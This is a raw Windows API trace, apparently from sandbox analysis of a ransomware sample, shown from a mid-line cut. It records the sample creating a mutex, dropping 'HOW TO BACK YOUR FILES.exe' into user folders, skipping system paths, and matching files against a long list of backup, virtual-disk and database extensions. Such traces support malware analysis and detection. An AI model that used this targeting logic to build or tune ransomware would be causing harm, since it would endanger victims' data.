hHeap=0x4f0000) returned 1 [0051.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4d0 | out: hHeap=0x4f0000) returned 1 [0051.175] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 61 [0051.175] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A67618A7C661896902E58EFF93E3B8BB") returned 0xec [0051.175] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.175] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0051.175] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.175] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.175] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.176] GetLastError () returned 0x0 [0051.176] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0051.176] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.176] CloseHandle (hObject=0xf4) returned 1 [0051.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0051.176] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.177] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.177] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.177] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.177] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.177] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.177] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.177] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.177] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.177] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.177] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0051.177] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0051.178] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0051.178] lstrlenW (lpString="Adobe") returned 5 [0051.178] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0051.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4d0 [0051.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514878 [0051.178] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0051.178] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0051.178] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.180] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0051.180] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0051.180] lstrlenW (lpString="Application Data") returned 16 [0051.180] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0051.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4b8 [0051.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522798 [0051.180] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0051.180] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0051.180] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.181] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2=".") returned 1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="..") returned 1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="windows") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="bootmgr") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="temp") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="pagefile.sys") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="boot") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="ids.txt") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="ntuser.dat") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="perflogs") returned -1 [0051.181] lstrcmpiW (lpString1="Apps", lpString2="MSBuild") returned -1 [0051.181] lstrlenW (lpString="Apps") returned 4 [0051.181] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Apps" | out: lpString1="Apps") returned="Apps" [0051.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b720 [0051.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x5147e8 [0051.182] lstrcatW (in: lpString1="Apps", lpString2="\\" | out: lpString1="Apps\\") returned="Apps\\" [0051.182] lstrcatW (in: lpString1="Apps\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Apps\\HOW TO BACK YOUR FILES.exe") returned="Apps\\HOW TO BACK YOUR FILES.exe" [0051.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\apps\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.184] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2=".") returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="..") returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="windows") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="bootmgr") returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="temp") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="pagefile.sys") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="boot") returned 1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="ids.txt") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="ntuser.dat") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="perflogs") returned -1 [0051.184] lstrcmpiW (lpString1="Deployment", lpString2="MSBuild") returned -1 [0051.184] lstrlenW (lpString="Deployment") returned 10 [0051.184] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Deployment" | out: lpString1="Deployment") returned="Deployment" [0051.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b738 [0051.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x527fa8 [0051.184] lstrcatW (in: lpString1="Deployment", lpString2="\\" | out: lpString1="Deployment\\") returned="Deployment\\" [0051.184] lstrcatW (in: lpString1="Deployment\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Deployment\\HOW TO BACK YOUR FILES.exe") returned="Deployment\\HOW TO BACK YOUR FILES.exe" [0051.184] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.187] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".") returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="..") returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="windows") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="bootmgr") returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="temp") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="pagefile.sys") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="boot") returned 1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="ids.txt") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="ntuser.dat") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="perflogs") returned -1 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="MSBuild") returned -1 [0051.187] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19 [0051.187] lstrcpyW (in: lpString1=0x241e8c4, lpString2="GDIPFONTCACHEV1.DAT" | out: lpString1="GDIPFONTCACHEV1.DAT") returned="GDIPFONTCACHEV1.DAT" [0051.187] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19 [0051.187] lstrlenW (lpString="Athena865") returned 9 [0051.187] lstrcmpiW (lpString1="CHEV1.DAT", lpString2="Athena865") returned 1 [0051.187] lstrlenW (lpString=".dll") returned 4 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".dll") returned 1 [0051.187] lstrlenW (lpString=".lnk") returned 4 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".lnk") returned 1 [0051.187] lstrlenW (lpString=".ini") returned 4 [0051.187] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".ini") returned 1 [0051.187] lstrlenW (lpString=".sys") returned 4 [0051.188] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".sys") returned 1 [0051.188] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19 [0051.188] lstrlenW (lpString="bak") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1 [0051.188] lstrlenW (lpString="ba_") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1 [0051.188] lstrlenW (lpString="dbb") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1 [0051.188] lstrlenW (lpString="vmdk") returned 4 [0051.188] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1 [0051.188] lstrlenW (lpString="rar") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1 [0051.188] lstrlenW (lpString="zip") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1 [0051.188] lstrlenW (lpString="tgz") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1 [0051.188] lstrlenW (lpString="vbox") returned 4 [0051.188] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1 [0051.188] lstrlenW (lpString="vdi") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1 [0051.188] lstrlenW (lpString="vhd") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1 [0051.188] lstrlenW (lpString="vhdx") returned 4 [0051.188] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1 [0051.188] lstrlenW (lpString="avhd") returned 4 [0051.188] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1 [0051.188] lstrlenW (lpString="db") returned 2 [0051.188] lstrcmpiW (lpString1="AT", lpString2="db") returned -1 [0051.188] lstrlenW (lpString="db2") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1 [0051.188] lstrlenW (lpString="db3") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1 [0051.188] lstrlenW (lpString="dbf") returned 3 [0051.188] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1 [0051.189] lstrlenW (lpString="mdf") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1 [0051.189] lstrlenW (lpString="mdb") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1 [0051.189] lstrlenW (lpString="sql") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1 [0051.189] lstrlenW (lpString="sqlite") returned 6 [0051.189] lstrcmpiW (lpString1="V1.DAT", lpString2="sqlite") returned 1 [0051.189] lstrlenW (lpString="sqlite3") returned 7 [0051.189] lstrcmpiW (lpString1="EV1.DAT", lpString2="sqlite3") returned -1 [0051.189] lstrlenW (lpString="sqlitedb") returned 8 [0051.189] lstrcmpiW (lpString1="HEV1.DAT", lpString2="sqlitedb") returned -1 [0051.189] lstrlenW (lpString="xml") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1 [0051.189] lstrlenW (lpString="$er") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1 [0051.189] lstrlenW (lpString="4dd") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1 [0051.189] lstrlenW (lpString="4dl") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1 [0051.189] lstrlenW (lpString="^^^") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1 [0051.189] lstrlenW (lpString="abs") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1 [0051.189] lstrlenW (lpString="abx") returned 3 [0051.189] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1 [0051.189] lstrlenW (lpString="accdb") returned 5 [0051.189] lstrcmpiW (lpString1="1.DAT", lpString2="accdb") returned -1 [0051.189] lstrlenW (lpString="accdc") returned 5 [0051.189] lstrcmpiW (lpString1="1.DAT", lpString2="accdc") returned -1 [0051.189] lstrlenW (lpString="accde") returned 5 [0051.189] lstrcmpiW (lpString1="1.DAT", lpString2="accde") returned -1 [0051.189] lstrlenW (lpString="accdr") returned 5 [0051.189] lstrcmpiW (lpString1="1.DAT", lpString2="accdr") returned -1 [0051.190] lstrlenW (lpString="accdt") returned 5 [0051.190] lstrcmpiW (lpString1="1.DAT", lpString2="accdt") returned -1 [0051.190] lstrlenW (lpString="accdw") returned 5 [0051.190] lstrcmpiW (lpString1="1.DAT", lpString2="accdw") returned -1 [0051.190] lstrlenW (lpString="accft") returned 5 [0051.190] lstrcmpiW (lpString1="1.DAT", lpString2="accft") returned -1 [0051.190] lstrlenW (lpString="adb") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0051.190] lstrlenW (lpString="adb") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0051.190] lstrlenW (lpString="ade") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1 [0051.190] lstrlenW (lpString="adf") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1 [0051.190] lstrlenW (lpString="adn") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1 [0051.190] lstrlenW (lpString="adp") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1 [0051.190] lstrlenW (lpString="alf") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1 [0051.190] lstrlenW (lpString="ask") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1 [0051.190] lstrlenW (lpString="btr") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1 [0051.190] lstrlenW (lpString="cat") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1 [0051.190] lstrlenW (lpString="cdb") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1 [0051.190] lstrlenW (lpString="ckp") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1 [0051.190] lstrlenW (lpString="cma") returned 3 [0051.190] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1 [0051.190] lstrlenW (lpString="cpd") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1 [0051.191] lstrlenW (lpString="dacpac") returned 6 [0051.191] lstrcmpiW (lpString1="V1.DAT", lpString2="dacpac") returned 1 [0051.191] lstrlenW (lpString="dad") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1 [0051.191] lstrlenW (lpString="dadiagrams") returned 10 [0051.191] lstrcmpiW (lpString1="ACHEV1.DAT", lpString2="dadiagrams") returned -1 [0051.191] lstrlenW (lpString="daschema") returned 8 [0051.191] lstrcmpiW (lpString1="HEV1.DAT", lpString2="daschema") returned 1 [0051.191] lstrlenW (lpString="db-journal") returned 10 [0051.191] lstrcmpiW (lpString1="ACHEV1.DAT", lpString2="db-journal") returned -1 [0051.191] lstrlenW (lpString="db-shm") returned 6 [0051.191] lstrcmpiW (lpString1="V1.DAT", lpString2="db-shm") returned 1 [0051.191] lstrlenW (lpString="db-wal") returned 6 [0051.191] lstrcmpiW (lpString1="V1.DAT", lpString2="db-wal") returned 1 [0051.191] lstrlenW (lpString="dbc") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1 [0051.191] lstrlenW (lpString="dbs") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1 [0051.191] lstrlenW (lpString="dbt") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1 [0051.191] lstrlenW (lpString="dbv") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1 [0051.191] lstrlenW (lpString="dbx") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1 [0051.191] lstrlenW (lpString="dcb") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1 [0051.191] lstrlenW (lpString="dct") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dct") returned -1 [0051.191] lstrlenW (lpString="dcx") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="dcx") returned -1 [0051.191] lstrlenW (lpString="ddl") returned 3 [0051.191] lstrcmpiW (lpString1="DAT", lpString2="ddl") returned -1 [0051.191] lstrlenW (lpString="dlis") returned 4 [0051.192] lstrcmpiW (lpString1=".DAT", lpString2="dlis") returned -1 [0051.192] lstrlenW (lpString="dp1") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="dp1") returned -1 [0051.192] lstrlenW (lpString="dqy") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="dqy") returned -1 [0051.192] lstrlenW (lpString="dsk") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="dsk") returned -1 [0051.192] lstrlenW (lpString="dsn") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="dsn") returned -1 [0051.192] lstrlenW (lpString="dtsx") returned 4 [0051.192] lstrcmpiW (lpString1=".DAT", lpString2="dtsx") returned -1 [0051.192] lstrlenW (lpString="dxl") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="dxl") returned -1 [0051.192] lstrlenW (lpString="eco") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="eco") returned -1 [0051.192] lstrlenW (lpString="ecx") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="ecx") returned -1 [0051.192] lstrlenW (lpString="edb") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="edb") returned -1 [0051.192] lstrlenW (lpString="epim") returned 4 [0051.192] lstrcmpiW (lpString1=".DAT", lpString2="epim") returned -1 [0051.192] lstrlenW (lpString="fcd") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="fcd") returned -1 [0051.192] lstrlenW (lpString="fdb") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="fdb") returned -1 [0051.192] lstrlenW (lpString="fic") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="fic") returned -1 [0051.192] lstrlenW (lpString="flexolibrary") returned 12 